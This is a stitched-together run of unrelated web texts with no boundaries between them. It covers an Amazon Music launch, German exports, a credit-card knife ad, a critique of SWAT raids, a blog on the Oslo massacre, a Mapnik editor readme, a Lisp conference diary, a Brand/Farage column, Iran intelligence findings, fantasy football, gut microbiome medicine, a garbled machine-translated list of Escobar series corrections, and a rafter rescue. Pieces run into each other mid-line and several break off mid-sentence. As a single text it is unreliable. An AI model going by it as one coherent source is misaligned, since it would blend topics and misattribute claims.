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to store 250 songs in their Amazon Drive account for free, without counting towards their free 5GB storage. Customers also have the option to pay $24.99 per year to store 250,000 songs in their Amazon Drive. The Amazon Music Unlimited service will be the first time an unlimited music storage option has been offered by Amazon.
An ad slogan I found says Amazon Music Unlimited will “stream tens of millions of songs,” which puts it on par with services like Spotify, Apple Music, and Google Play Music. For comparison, Prime music, which will still be available to Prime members after Amazon Music Unlimited launches, only has 1.8 million songs. Each of those competing services cost $9.99 per month, so Amazon’s regular price for their new music service matches the competition. However, at $7.99 for Prime members and $4.99 for Amazon Echo owners, Amazon’s new service will clearly be the better option if you fall into one of those two categories.
Follow AFTVnews on Twitter / Facebook and subscribe via email to be the first to learn when new articles go live. Follow me, Elias Saba, on Twitter and Instagram to see what I'm working on before it's posted here.
ShareTweetShare+1Exports are a major pillar of the German economy, but now the sector is starting to feel the impact of the euro crisis and the global economc slowdown. German export orders fell in August by the highest rate in more than three years, the Markit financial information company announced Monday after conducting a survey of 500 industrial firms.
"Survey respondents commented on a general slowdown in global demand and particular weakness in new business inflows from Southern Europe," the institute said. The firms hardest hit by declines are manufacturers of machinery and other investment goods as well as producers of intermediate goods such as chemicals.
In the first half of 2012, German exports had still grown thanks to demand from Japan, the United States and Russia. But it was already evident then that exports to crisis-hit countries were falling sharply, and that trend is now continuing.
Markit economist Tim Moore said the German industrial sector is going through its worst quarter -- the three months to the end of September -- in more than three years.
"The new orders figures are especially disappointing, with export work dropping at the fastest pace since April 2009 amid an ongoing deterioration in global demand," he said in a statement.
Growth Still Expected
Other indicators are also pointing downwards. The country's most important leading indicator, the Ifo business climate index, fell in August for the fourth month in a row. In the first and second quarters of 2012, German GDP grew 0.5 percent and 0.3 percent respectively.
Meanwhile, the government owned development bank Kreditanstalt für Wiederaufbau (KfW) reported that its barometer of sentiment in the small and medium-sized business sector fell in August for the sixth month in a row. The biggest decline was among retailers, which could be a sign that euro crisis fears may finally be starting to affect German consumer sentiment.
Nevertheless, KfW expects private consumer spending to help stabilize GDP growth, which it projects at 1 percent this year, down from 3.0 percent in 2011.The CardSharp2 is an ultra-light and ultra-thin utility knife that fits comfortably into your wallet. At 2.2mm thin, the 13-gram CardSharp transforms from a credit card sized sheet into a well-balanced knife with a sturdy handle. The waterproof CardSharp features a nearly 3-inch long blade made from surgical steel, and the polypropylene handle is guaranteed to last a lifetime of unfolding and folding. A clever locking mechanism prevents accidental cutting or blunting when the CardSharp is closed. Ensure you're always prepared with the CardSharp Credit Card Knife.
Your wallet just became infinitely awesomer
The CardSharp is just about the most useful and convenient item we've come across lately.
A knife is a must-have for the prepared adult (unless you've somehow evolved fingernails that are as sharp as steel), but not everyone wants to carry a separate knife or add more bulk to their already rotund keyring. Well, here comes CardSharp to the rescue!
The CardSharp folds down to the size of a credit card, giving you an effective, high-quality, and impressive tool wherever you go.
Always have a knife at the ready
If the Boy Scouts taught us one thing, it's that adults shouldn't wear a uniform designed for boys. If they taught us anything else, it's to always be prepared. Thanks to the CardSharp, you're one step closer to perpetual preparedness.
And even though it folds down to the size of a credit card, the CardSharp is perfectly balanced and features a sturdy handle.
A serious blade for serious situations
The CardSharp's blade is made from surgical steel, which is known for its strength, ability to maintain a cutting edge, and corrosion-resistance.
Recently, an independent testing laboratory, CATRA, awarded the Cardsharp VERY GOOD status for sharpness and life.
Guaranteed to fold and unfold for a lifetime
The polypropylene sheath of the CardSharp is guaranteed to withstand a lifetime of folding and unfolding.
The material make-up is such that it can be rotated through 180 degrees without any degradation whatsoever. So, bust this baby out and show it off to your friends. The CardSharp can handle an infinite number of folds.
Not a pain in the wallet... literally and figuratively
The CardSharp is engineered to a thickness of only 2.2mm and weighs only 13 grams. Most conventional pocket knives are orders of magnitude thicker and heavier. You can keep the CardSharp in your wallet and you won't even know it's there — until you need it!
Additionally, the CardSharp is affordably priced so that you'll still have something to carry around in your wallet after you've bought one (or six).
Super-safe when not in use
The CardSharp features a variety of clever safety features.
When closed properly (safety catch turned to reveal the green circle), the blade is closed such that it cannot accidentally cut or blunt. When opened, the blade will be locked (avoiding the blade tremors of low-quality pocket knives) and will not close accidentally.
Finally, it's impossible to lose the CardSharp's sheath because the knife and the sheath are integrated as one piece. Yep, the guys who designed the CardSharp are wicked smart.
Frequently Asked Questions
Question: Is it waterproof?
Answer: Yes! The CardSharp is absent of any hinged parts that can rust. You can even toss this thing in the washing machine without fear of corrosion.
Question: What are the legal implications of owning this type of knife?
Answer: Because the blade is under 3" long, most states do not consider it a concealed or deadly weapon. However, we are not legal authorities. You would need to consult your local statutes for specifics. That being said, we've yet to find a law that has a problem with a knife with a blade under three inches long.
Question: Is it sharp?
Answer: Yes! But don't take our word for it. An independent testing laboratory, CATRA, recently awarded the CardSharp the status of VERY GOOD for sharpness. In our own tests, we found it to be incredibly durable and sharp as we sliced produce, aluminum cans, tennis balls, nylon rope, and more.Contrary to what you may have heard, the armored vehicles that appeared on the streets of Ferguson, Missouri, during the unrest that followed the police shooting of Michael Brown did not come from the Pentagon. "Most of the stuff you are seeing in video coming out of Ferguson is not military," Rear Adm. John Kirby, the Defense Department's press secretary, told reporters last week. "The military is not the only source of tactical gear in this country."
In other words: Don't blame the military for militarizing the police. Kirby has a point. Although the Pentagon has played a role by distributing surplus gear to police departments, so have the Justice Department and the Department of Homeland Security by providing grants that can be used to buy military-style equipment. In any case, the real problem, more pervasive and insidious than BearCats or MRAPs on the streets of our cities, is the dangerously misguided urge to transform cops into soldiers, as reflected in the promiscuous use of SWAT teams.
As the acronym implies, SWAT teams originally were intended for unusual threats requiring "special weapons and tactics," threats such as rioters, shooters, barricaded suspects, and hostage takers. But what was once special is now routine. Today the most common use for SWAT teams, which are deployed something like 50,000 times a year in the U.S., is serving search warrants, typically in drug cases.
Looking at a sample of more than 800 SWAT operations carried out by 20 law enforcement agencies in 11 states during the last three years, the American Civil Liberties Union (ACLU) found that 79 percent involved search warrants. More than three-quarters of the searches were looking for drugs.
These raids tend to follow the same basic pattern: Heavily armed, black-clad men enter a home early in the morning, while the occupants are asleep. The police often break down the door with a battering ram, shatter windows, and toss in a flashbang grenade, an explosive device designed to discombobulate targets with a blinding light and deafening noise. If there is a dog in the home that barks at the invaders (as dogs tend to do), the police kill it.
The element of surprise and the overwhelming, terrifying show of force are supposed to minimize violence by forestalling any thought of resistance. It does not always work out that way.
Last December a Texas marijuana grower named Henry Magee shot and killed a Burleson County sheriff's deputy who broke into his mobile home in the middle of the night along with eight other officers. Magee said he mistook Sgt. Adam Sowders for a burglar, and in February a grand jury declined to indict him in the deputy's death.
Six months before Magee shot Sowders, a similar mistake resulted in the death of Eugene Mallory, an 80-year-old retired electrical engineer who was shot in his bed because he grabbed a gun when armed men stormed into his home early in the morning. They were Los Angeles County sheriff's deputies, looking for a nonexistent meth lab.
Last May police in Habersham County, Georgia, broke into a house in the middle of the night, looking for a meth dealer who no longer lived there. While attacking the house, the SWAT team tossed a flashbang grenade into a crib, severely burning a 19-month-old boy.
No drugs or weapons were found in that raid, which seems to be a pretty common outcome. In the ACLU study, records indicated that police found the drugs or guns they expected 35 percent of the time. The low rate of gun recovery is especially striking because the use of SWAT teams is supposedly justified by the prospect of facing armed and dangerous suspects.
The reckless use of paramilitary forces to attack the homes of unsuspecting civilians reflects a literalization of the war on drugs as well as the unseemly eagerness of many police officers to dress up and act like soldiers. Taking away their BearCats will not solve those problems.It’s been another busy week in the wackosphere. We’re also reminded that the racism and fear that lies behind our tendency to demonize people who are not like us can kill. A lot is coming in from Norway still, but it seems clear that the guy who went on a rampage is speaking the language of the conspiracist. This is why this is important. More about Oslo below, but trust me, I’d rather be making snarky remarks about people who think Amy Winehouse is still alive or was murdered or has been dead for months….
OSLO
My take on the Oslo massacre? The suspect’s rant, “2803: A European Declaration of Independence” (warning: huge pdf) is long. Like 1,500 pages long, and I’ve only been able to get a sense of the sweep of the conspiracy theory overall. Honestly, right now I’m working on another project and can’t quite dig too deeply into the conspiracy. But the tropes of national infiltration and media/government complicity are common in just about every perceived global conspiracy. The one thing that stuck out to me was his fear of “cultural Marxism,” is not foreign to American conspiracy theories. When you google that term, whatever it is supposed to mean (usually, “being more liberal than me”), you get Joseph Farah’s WorldNetDaily (home of the birth certificate conspiracy). You get Brannon Howse from Worldview Weekend. And these conspiracy theories get people killed. The most dismaying thing is the number of people who just don’t get it, even when they are horrified by such a massacre, people who say, “What a nightmare, but you do have to worry about the cultural Marxists.” And this is why we will certainly see this type of slaughter again.
Certain conspiracists think that the comparisons of Breivik to Timothy McVeigh are part of the government’s plan to sculpt a narrative. They are, based on my reading of sections of Breivik’s manifesto, extremely apt comparisons. Take, for instance, the sections detailing how someone should go about hiding weapons and carrying out guerilla warfare against the state. There was a section on preparing and burying weapons for later use that could have been lifted from The Turner Diaries, a book (really, violent porn for racists) that was apparently in McVeigh’s car when he was arrested, and which has a scene in which a government building (in the Turner Diaries, it is the FBI HQ) is destroyed by a truck bomb. Oh, and there is that whole truck bomb element in Oslo. This is not a random attack, but one which is (within limits) predictable and which you can anticipate by immersing yourself in…the type of stuff that I have had to read lately.
My copy of The Turner Diaries, by the way, has a blurb by Tim McVeigh on it. How’s that for a ripe little slice of publishing hell? And you wonder why I’m grumpy all the time.
So, let’s get dirty.
That’s all I can stomach this week. No conspiracy theory of the week. It’s just not that type of week.
RJB
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Project HaosBuilder was started with the idea to create environment which should improve process of building Mapnik XML map files. Basically it can be thought of as a Mapnik IDE.
Creating a nice style, a look, of your rendered map can be a tedious task, constantly changing XML and rendering. HaosBuilder tries to speed up the process by unifying editing and rendering that are separated by a single keyboard shortcut.
Project name
HaosBuilder name is a combination of Chaos and Builder. C was dropped because haos has the same meaning in slavic languages (I'm from Croatia). So, while using HaosBuilder rather then creating XML chaos you will create styles and rules to render beautiful maps.
Requirements
HaosBuilder is developed on ArchLinux and its written in Python using wxPython and Mapnik python bindings, it runs on Linux, Windows, and Mac OS X.
Software ArchLinux WindowsXP Mac OS 10.5 Python 2.6.3 2.5.4 2.5.1 wxPython 2.8.10.1 2.8.10.1 2.8.4.01 Mapnik trunk 0.6.1 trunk
(1) About dialog uses embeddedimage which was added in wxPython 2.8.8, you can still use HaosBuilder, you only need regenerate res.py using img2py utility
Features and goals
First release, HaosBuilder 0.1 'Ceres' was just a proof of concept, basically look it works kinda thing.
Next release will include new XML editor features, like search, color coding and folding, which can be found on issues page.
Features
loading, editing, saving Mapnik XML map file
rendering CTRL+R
export rendered image to PNG CTRL+E
zoom/pan using mouse left click - pans CTRL+ left click - zoom in SHIFT+ left click - zoom out
zoom pan with keyboard left, top, right, down - pans half an image in desired direction CTRL - pans 25% of an image SHIFT - pans 10% of an image CTRL+SHIFT - pans 1px of an image pageup, pagedown - zoom in, zoom out
set user defined map scale, otherwise it would be zoomed to map bbox
Goals
save current editing session to a project
extend XML editor features, like comment/uncomment current line
Screenshots
HaosBuilder running on ArchLinux with Awesome window manager.
Installation
Clone the repository and run.
hg clone http://bitbucket.org/dodobas/haosbuilder./haosbuilder/haosbuilder.py
Demo
For demonstration purposes there is a demo Mapnik XML and shapefiles in the 'demo' directory that can be started by running HaosBuilder, opening demo.xml file and rendering.I spent the weekend in Amsterdam, doing ordinary touristy things on the days when I wasn't attending the 2008 edition of the European Common Lisp Meeting. I suspect that most readers of this diary are likely to prefer a summary of the ECLM to the details of my wanderings on the (rather cold) Saturday, so that is what I shall provide.
Walking through the streets of continental cities early (around 08:00) on a Sunday Morning is usually a pleasant experience – everything is closed, most people aren't even yet going to appropriate religious observances, and so you get an unimpeded view of the town, devoid of the hordes that can cause obstruction or aggravation. Unfortunately, Amsterdam is a somewhat popular destination for British ‘stag’ parties; and, indeed, as I was walking down Leidsestraat, two such parties, who did not seem to be the sort to be going either to an appropriate religious observance or to the ECLM, passed each other. Noise ensued.
On arriving at the Felix Meritis, at 08:30 on the dot, I saw a crowd of people, all seemingly with the same idea: to have the first coffee of the day. Fortunately, the doors opened shortly afterwards, and caffeination was allowed to take place. Conversation happened as well, though I can't remember very much of it, not yet having been fully invigorated by the coffee. Mostly I think I explained why I wasn't on the previous night's boat trip: a combination of somewhat tardy registration and a second mouth to feed...
And then the real action, the talks, got under way. Unlike many an academic conference, of of the ECLM's distinguishing features is that the talks are attended by the vast majority of the participants; there's much less of a feeling that people simply attend to chat to colleagues: probably partly because the talks are very much the ‘deliverable’ of the meeting (there are no proceedings or anything like that) but also, I think, because the talks cover interesting ground, and offer perspectives based on a solid amount of experience.
Jeremy Jones (from Clozure Associates) started the ball rolling, with a talk on the production of InspireData: an application built for data visualization in an (American, pre-University) educational context. Jeremy wisely started off with a demonstration of InspireData's features; it contains some very impressive-looking tools, and seems to present them to the user in a sensible way. I haven't tried it or gone beyond the demo, but it looks like a huge advance on, say, using an off-the-shelf spreadsheet program to do data analysis, even (dare I say it) for professionals – though whether it scales up to professional-sized data sets is another question. Some other take-home messages from Jeremy's talk: it is possible to sell shrink-wrapped software, even today, even written in Lisp; having a proper designer on the team (or as your client) can help enormously in producing a usable interface; and having a programmer as your client can be both a help and a hindrance – specify the acceptance process carefully.
Nicholas Neuss followed Jeremy, with a discussion of the FEMLISP framework for solving partial differential equations. Being in a somewhat darkened room, early in the morning at a weekend reminded me a little of my undergraduate days, where discussion of differential equations, fields and the like was par for the course – and the talk took me right back (in a good way). In particular, watching FEMLISP compute the eigenmodes of Lake Constance (surface waves, I think) was entertaining. One difference in kind between this talk and the previous is, I think, a function of the possible ‘market’ for the two tools; InspireData is sold in quantities of the order of tens of thousands at present, while, let's face it, FEMLISP is never going to have that kind of exposure: and so the resources aren't really available to make FEMLISP into a product usable by even other domain experts. Of course, the fact that Nicholas' boss makes a competing product might also have something to do with that...
There followed a talk about large Internet systems, from Stefan Richter. There was an interesting survey during the talk, asking people about the size of their userbase (assuming that they worked on web applications at all). An interesting distribution; certainly applications with millions of users are no longer rare – and Juho showed commendable restraint in not snorting something along the lines of “millions of users?” One other interesting moment was when Nick Levine stopped Stefan, to give him time to write down the long list of libraries that is already available to help build Lisp web applications, from the database to the front-end.
Kilian Sprotte gave the last presentation before lunch, talking about the GL-enabled Patchwork music visual programming system. The presentation unfortunately appeared to be a little bit unrehearsed, and so I'm not sure that Kilian got everything that he wanted to across to the general audience. From my perspective, though, it was sufficiently close to the day job that I could see the point (and catch some of the references; B-A-C-H and so on) – I'll be able to report back to people in the lab, who were asking about it, and maybe we can find some useful musical analysis algorithms in there. Also, it occurred to me that GSharp could usefully provide some import or export functionality for the chord and score editors, maybe through MusicXML, or maybe writing directly into the PWGL notations for notes (tighter couplings are likely to be hard, given PWGL's current non-Open-Source nature.)
Then we broke for lunch; Juho, Nikodemus and I ended up sitting on a table with Hannes Mehnert and Luke Gorrie; among other conversations, we had The Great SBCL Maintenance Debate, and we now have a proposed Plan. (I don't know if any other plans have been proposed, but hopefully soon there will be less uncertainty.) The rest of the lunch break was spent grilling Luke about OLPC and Kathmandu, and eating interesting interpretations of café food. (Pasta arrabiata with beans and squash? I don't think so.)
After lunch, a talk about cheap apartment design architect assistance software: Knowledge-Based Engineering, where in this case the knowledge base is about Norwegian building regulations. The idea of the House Designer product developed at Selvaag is to allow architects to experiment with designs, while tracking that building rules (both governmentally-imposed and the house style) can be accommodated, along with all the necessary pipes and electrics and so on. It was good to see a variety of techniques on display, and I liked the flashes of humour: for instance, that the user-interface group asking for XML descriptions was OK by the Lisp group, but that then the user-interface group wanted to send XML back, and that was not OK. It's good to know that Frode Fjeld has a Lisp job, too; he was solidly namechecked in the presentation.
Then Juan José García-Ripoll came to the stage to talk about ECL design and implementation. There were some wry moments for me there; starting with the observation that he wasn't really a computer scientist at all, but rather a physicist. Also, many of the motivations for the ECL design appear to be direct analogues of some of SBCL's PRINCIPLES : completeness, clean bootstrappability, and preferring maintainability over whizzy features, for instance (I hope I'm not mischaracterizing here; it's possible I'm just evaluating what he said through an SBCL-tinted lens). Given that, I think it's interesting how different the two systems look, maybe just from having different starting points?
After the final coffee break, yet more talks. Marc Battyani, of FractalConcept HPC Platform, talked about using Lisp to program FPGAs for custom high-performance solutions; in particular, applications in the financial world, such as derivative valuations and automatic share trading platforms. (A word of advice to Marc: it's not often that you get to say that you're 1000 times as fast as your nearest competitor, nor that you can process packets faster than the test network can send them to you – so don't let that message get hidden by the constant fumbling for a particular Microsoft Image and Fax viewer window!) The products he has look interesting; best of luck to him for finding a buyer in these more financially-challenged times...
And finally, the pièce de résistance: Kenny Tilton took the stage, to give “a rant on the state of Lisp and Lispniks touching on Algebra software, Lisp libraries, Open Source, Cello, Cells, and somewhere along the way introducing Triple-Cells, animated data modelling with persistence for free”. Unfortunately, it seemed that we weren't going to get this rant; instead, we got a small demo of the Algebra tutoring software, along with some discussion of the dataflow paradigm that Kenny believes is central to all simple applications, and a fair number of sound effects. Nice anecdote about Lisp and speeding tickets, though.
Then it was all over bar the dinner; I chatted to Pascal Costanza and Charlotte Herzeel about the busy workshop season, to Jeremy Jones and Marco Baringer about the (lack of) checkin policy to SBCL's CVS, to Edi about how much Heathrow Airport sucks, among many conversations. As we were about to call it a night, Nick mentioned that the Lambda Express had some spare tickets, and that we could probably hitch a lift back to London by train (rather than by plane to Terminal 5...), so we arranged to meet Dave Fox and his crew the following morning. While on the train, in a spirit of cross-implementation co-operation, we essentially finished the Araucaria from the Saturday Guardian – documentary evidence will be forthcoming. And then it really was all over.It’s probably a statement of the obvious to say that Russell Brand and Nigel Farage have a lot in common, but the similarities go well beyond superficial populism. It’s not just the rage against the Establishment, the Westminster parties, the mainstream media conspiring to twist their words and ask impertinent questions about their personal lives and finances. It’s not just the idea that big companies and big power are colluding against the little guy.
There’s also the often-overlooked issue of age. Each is a spokesman for a generation. Mr Brand channels angry 20-somethings who feel left out of a system that isn’t working for them economically. Mr Farage does the same for angry 60-somethings who feel left behind by the same system, which isn’t working for them culturally.
Still, there’s one big and vital difference between the two. Whatever you think of Mr Farage, he puts his money where his mouth is. He stands for election. He’s been a parliamentary candidate several times, and will be so again. He’s a member of the European Parliament because his name was on the ballot paper in the last European elections. And when his term ends, should he stand again, his electorate will again have the chance to pass judgement on his performance.
None of this can be said about Mr Brand. Yes, he’s got 9 million followers on Twitter, a zillion Facebook friends and any number of viewers on YouTube. But popularity isn’t quite the same thing as political legitimacy. And it’s certainly not the same thing as accountability. If Mr Farage does or says things that a majority of his electorate find to be hateful or stupid, he gets sacked. If he doesn't convince people, he painfully and publicly fails to get elected. If Mr Brand does or says things most people consider moronic or silly, what consequence does he face?
Obviously, there’s a difference between being a political commentator and a political participant, and the world needs both. But Mr Brand appears to have pretensions towards being the latter. He’s certainly adopted many of the trappings of a politician. It''s not just going on Question Time. He even published a “manifesto” last year. Yet so far, he’s not subjected himself and that “manifesto” to the rigours of election. He’s trying to have his cake and eat it.(Reuters) - U.S. intelligence agencies concluded in findings released on Monday that Iran stopped its nuclear weapons development program in 2003. Following are highlights of the National Intelligence Estimate’s key judgments.
— Iran had a nuclear weapons program but halted it in 2003 and had not restarted it as of mid-2007. The halt applied to design and engineering of an explosive device, such as fuses or shielding, and to covert uranium-conversion activities, according to senior intelligence officials. Other activities such as civilian uranium enrichment and missile development continue.
— Iran is keeping open the option of developing nuclear weapons, but U.S. intelligence agencies “do not know” whether it currently intends to develop nuclear weapons. This is a major change from a 2005 intelligence estimate which concluded that Iran was “determined to develop nuclear weapons.”
— The weapons program was halted in response to international pressure, meaning Tehran may be more susceptible to influence than previously thought.
— Tehran’s decisions on nuclear weapons are guided by a consideration of the costs and benefits of its actions, rather than “a rush to a weapon” regardless of political and other consequences.
— Iran would be technically capable of producing enough highly enriched uranium for a nuclear weapon by late 2009, but this is unlikely and a time frame of 2010-2015 is more likely.
— Iran still faces significant problems operating the centrifuges needed to make enriched uranium, despite progress this year installing them at its Natanz facility.
— It will be hard to persuade the Iranian leadership to renounce nuclear weapons development altogether.
— Iran may have imported at least some weapons-grade nuclear fuel but not enough to make a weapon. It cannot be ruled out that Iran has acquired from abroad, or will acquire, a nuclear weapon or sufficient nuclear fuel to make one.
— Any production of highly enriched uranium for nuclear weapons would probably take place at a covert facility rather than a declared nuclear site. Covert enrichment programs were probably halted in 2003 and had not been restarted as of mid-2007.
— Iran has the scientific, technical and industrial capacity eventually to produce nuclear weapons if it decides to do so. Senior intelligence officials said the major hurdle is acquiring sufficient nuclear fuel.Atlanta Falcons 27 vs. Dallas Cowboys 7 – Dan Cook @seahawksdan8
Atlanta Falcons
The Atlanta Falcons offense still looks like they are suffering from the Super Bowl hangover. The dominant offense and 2016 MVP, Matt Ryan just do not seem in sync. He managed to throw for 215 yards and 2 TDs, but they are not driving down the field like they used to. The 2 TDs help fantasy owners who are sticking with Ryan, but it’s hard to count on Ryan with the playoffs approaching. Devonta Freeman went down early in this game with a concussion. That opened the door for Tevin Coleman to come in and rush for 83 yards on 20 carries and a score. Coleman is usually a flex play and has proven to be startable even when Freeman is healthy, but should Freeman miss any time with the concussion Coleman would be an RB1. There may be no bigger 1st round disappointment that is healthy than Julio Jones. The yards have been there all season, 658 on the year. The TDs have not as he only has 1 on the year. You expect more from your “studs,” but he is giving you more than Odell, Aaron, and David. As an owner of Jones, I’m frustrated, but I have to believe he will have one of those 200+ yards and 2 TD games. Up next, a Sherman-less Seattle defense. Maybe next week he will “have a game.” Austin Hooper may be the most significant benefactor of the struggles of the Atlanta offense. Ryan has been looking for Hooper and the underneath routes to move the ball and went to Hooper twice in the red zone on consecutive plays to get their final TD of the day. Hooper is a low-end TE1 in dynasty. IDP fanatics that actually own and started Adrian Clayborn were pleasantly treated to 6, count em, 6 sacks in one game. The bad news, Clayborn isn’t held by a whole lot of people, and he probably wouldn’t have gotten those 6 sacks if Tyron Smith was healthy for the Cowboys. Announcer, Troy Aikman, kept commenting that they aren’t giving the left tackle any help. Frequently, that was followed by a Claborn sack or hurry. If Clayborn does this again next week, then I’ll pay attention.
Dallas Cowboys
The Zeke-less Cowboys struggled mightily on offense, but Tyron Smith was the more significant reason for the poor offensive showing. The running game, when they tried to run, was able to pick up yards. Alfred Morris after halftime put together 3 nice runs on the drive, but Dallas never stuck to it enough to make a difference. Alf ended up with 11 carries and 53 yards. Rod Smith looks like the PPR back to own as he got 6 targets out of the backfield and caught 4 of them. He could get a chance next week. Without Elliott, it seems like Dak Prescott took way too much responsibility on his shoulders in this game. The Cowboys offense was not healthy as Smith did play and Dez Bryant and Terrance Williams were questionable coming into the game. Dak was pummelled most of the game taking 8 sacks, 6 by the previously mentioned Clayborn. Dak threw for 176 yards, ran for 42 yards and the lone Cowboys touchdown. Not exactly what owners were expecting in this one. Dez Bryant didn’t look healthy on the field. He caught 4 balls for 39 yards but wasn’t an impact on the game like he can be. Trusting your Cowboys moving forward may be difficult if Smith is out for an extended time because without time Dak can’t get the ball downfield. The Eagles are up next… Old reliable, Jason Witten, was one of the few Cowboys that helped fantasy owners. He ended up with 7 catches and 59 yards. No scores on the day, but in PPR 12 points isn’t bad for a tight end. Dallas got some more bad news Sunday; Sean Lee left the game in the 1st quarter with a hamstring injury. This guy just can’t stay healthy. When he plays, he is a great linebacker, but I’ve been bitten by Lee too many times. Anthony Hitchens led the team in tackles Sunday. He could be a waiver add if he’s available in your IDP league.
Thanks for reading! If you’re looking for IDP, Redraft, College, Devy, or Dynasty info be sure to check out all our articles at Dynasty Football Factory.WHEN, at the turn of the century, the first human genomes were sequenced, many biologists felt they had had delivered into their hands the keys to unlocking numerous puzzles about disease. Since then there has indeed been a fruitful effort to understand how the thousands of human genes which control hormones, enzymes and other molecules of the body serve to regulate health. But, in an unexpected turn of events, it is also now apparent that the human genome is not the only one to which attention should be paid. Human guts contain microbes, lots of them. Added together, the genes in these bugs’ genomes amount to perhaps 150 times the number in the human genome alone. If the bacteria in question were doing little more than swimming around digesting lettuce, this would be of small consequence. But they are doing much more than that.
The members of the microbiome, as this community is known, are, to a surprising extent, partners of humanity. And when that partnership goes wrong, the results can be dreadful. Inflammatory bowel disease, autism, multiple sclerosis, obesity, diabetes and chronic-fatigue syndrome all seem to have links with dysbiosis, as an imbalance in the microbiome is known. Only this month, there was news that human gut microbes influence the way patients respond to a popular new type of cancer treatment called immunotherapy. Certain sorts of bacteria are abundant in patients who respond well. Antibiotics that kill these bacteria render immunotherapy less effective.
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That finding illustrates an important idea. In effect, the antibiotics are editing the collective bacterial genome by removing from it genes that somehow assist immunotherapy. Much effort is now going into developing ways of editing the human genome, in order to improve human health. This is hard to do. But editing the microbial genome, by adding or subtracting particular species—and thus the genes they carry—is in principle far easier. That, too, could lead to improvements in human health. And many hopeful firms are now pursuing this idea.
Gut instincts
Much of the recent interest in microbiome medicine can be traced to a growing awareness of the usefulness of transplanting faeces, with their natural cargo of bacteria, from healthy people into sick ones. It is an idea that goes back at least 1,700 years, which was when Chinese doctors began to use what was euphemistically called “yellow soup” to treat patients with severe diarrhoea. In a similar vein, warm camel dung has been employed in some parts of the world to treat dysentery.
These days, such faecal microbial transplants (FMTs) are used mainly to deal with the rampant multiplication of a diarrhoea-causing bug called Clostridium difficile in patients who have been heavily treated with antibiotics. The transplant alters the composition of the recipient’s microbiome in ways that make it hostile to C. difficile. A great deal of work has been directed to refining FMTs, both for use in C. difficile infections and, potentially, for treating other diseases tied to dysbiosis. New, encapsulated versions of FMTs are known colloquially as “crapsules”.
Transplanting whole microbiomes in this way is, though, a bit
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us was already dead by the time we show it. I had a brother doctor who yes was a good man stigmatized by the actions of his brother, but it wasn’t a bandit. Ricardo died a long time before in real life.
16. Ever my dad attacked the daughter of Gilberto Rodriguez in his wedding, not in your life. Or any member of his family. That was the covenant, do not touch the families. My Father did. I believe that they don’t the day I got the bomb on 13 January 1988 in the building Monaco where we lived with my sister and my mother.
17. My Father never forced us to stay with him in the underground, always thought just like my mother that the best thing was that we educáramos and we had other opportunities different from them.
18. We were in a single shooting with my father, but not similar to the one that show there. In my book yes story how they were really these facts.
19. Put the attacks of my father with bombs to drugs the discount in the year 1993 when in fact occurred between 1988 and 1989? A little out of time for me to taste don’t you think?
20. My paternal grandmother betrayed my father and allied himself with his eldest son Roberto, negotiated with the pepes and collaborated so actively that allowed them to continue living peacefully in Colombia while those who were loyal to the love for our father, we are still living In Exile. I would have liked to have the version so “sweet” of my grandmother who paint in the series.
21. The trip to Germany was not like this. My paternal grandmother didn’t travel with us to nowhere.
22. The Prosecutor’s office of Colombia we also wanted to help as much as I show de greiff, who seemed but it wasn’t so good. His office was completely infiltrated by the Cali cartel. As well as the whole scheme of protection provided by their own agents. We were in condition of hostages, abducted by our own been charged with the offence of kinship. We were two minors and two women locked up in a small hotel room.
23. Virginia Vallejo was so in love that he rejected the money to my father? That’s if they are two lies in a large and well!My mom never talked to her after the escape of the cathedral. It was almost a decade that my father had no contact with Virginia who was a lover at the same time of the heads of the Cali cartel.
24. My Father at the hotel tequendama didn’t send us phones with anyone, we used the place. I was hanging him every time he called me to protect him, but he turned out to be a whimsical and stayed longer than prudent in the line, knowing that it would be tracked. “the phone is death” told me all my life. That’s why I didn’t want to talk to me, because I would cut off the call. Then he asked to talk to my mother and sister and identified before the operator with his two names and surnames, so their called were to say goodbye, to prolong it as much as possible that last call, with the clear intention of being located in what he chose As the day and the place for your last battle in the neighborhood the olive trees of their city, medellín. My Father killed himself as I said it dozens of times. This is why I’m not surprised that the shot that took her life was in his own hand and gun, two millimeters away from where I always swore that he would wear it. It wasn’t the police. Carlos Castaño ran that final operation, nor participated any foreign authority. So I recounted the own brown in person, loudly in front of my mother.
25. Any journalist was murdered in front of the hotel tequendama.
26. My Father never mistreated his parents, much less to Abel his dad. Never existed a conversation in that tone or sense.
27. After my father died, my mom was summoned to a meeting with the Cali cartel in the city, there were more than 40 big Mafia Bosses of the Colombia of the moment. Who saved her life to my mother and was signed after Miguel Rodriguez, not gilberto. On that occasion they stripped us of the inherited property and they stayed and shared as part of the spoils of war.
28. My Grandma says to him in the series to my mother who betrayed my father? When in real life it was my paternal grandmother and their children which they had contacts in secret with the Cali Cartel!
Of the 1 season or I’m talking to not bore you with the long list..The world is definitely upside down and the stories it is clear that anyone tells them, as they feel like it. And they are successful no matter how bad a few.
H/T UproxxCORBETT, Ore. – A U.S. Coast Guard helicopter found four rafters on the Sandy River early Tuesday morning after they didn't make it downriver to Dabney State Park in Corbett the previous night, the Multnomah County Sheriff's Office said.
The four men were found around 5:30 a.m. Tuesday after they'd been stranded overnight on a sandbar along the river.
They started off floating the river from Oxbow Park about 4:30 p.m. Monday with two others who decided to turn back, officials said.
"We were concerned once the sun started to go down because we were in the raft and we're like, we don't know where we are really," Cody West explained.
They pulled off onto a sandbar, ditching their rafts a few miles downriver.
The other part of the group waited at the Dabney State Park Recreation Area, but called the sheriff’s office around 11:30 p.m. when the rafters still hadn't arrived.
"Obviously we were prepared enough to start a fire, you know, we weren't concerned we were going to die in the woods," West said. "We were more concerned people were concerned about us. Like we just hunkered down and got warm."
Search and Rescue coordinators worked with the U.S. Coast Guard to search along the river. A helicopter spotted Vancouver residents West, 27; Cory Hood, 34; Chris Penhall, 30; and Tevin Cotton, 23 around 5:30 a.m. Tuesday.
This is a developing story; updates will be added as information comes in.by
Is there a Left in America today?
There is, of course, a Left ideology, a Left of the mind, a Left of theory and critique. But is there a Left movement?
Does the Left exist as an oppositional political, cultural or economic force? Is anyone intimidated or restrained by the Left? Is there a counterforce to the grinding machinery neoliberal capitalism and its political managers?
We can and do at CounterPunch and in similar publications, such as Monthly Review and the New Left Review, publish analyses of capitalism and its inherent vulnerabilities, catalogue its predations and wars of military conquest and imperial exploitation. But where is our capacity to confront the daily horrors of drone strikes, kill lists, mass layoffs, pension raids and the looming nightmare of climate change?
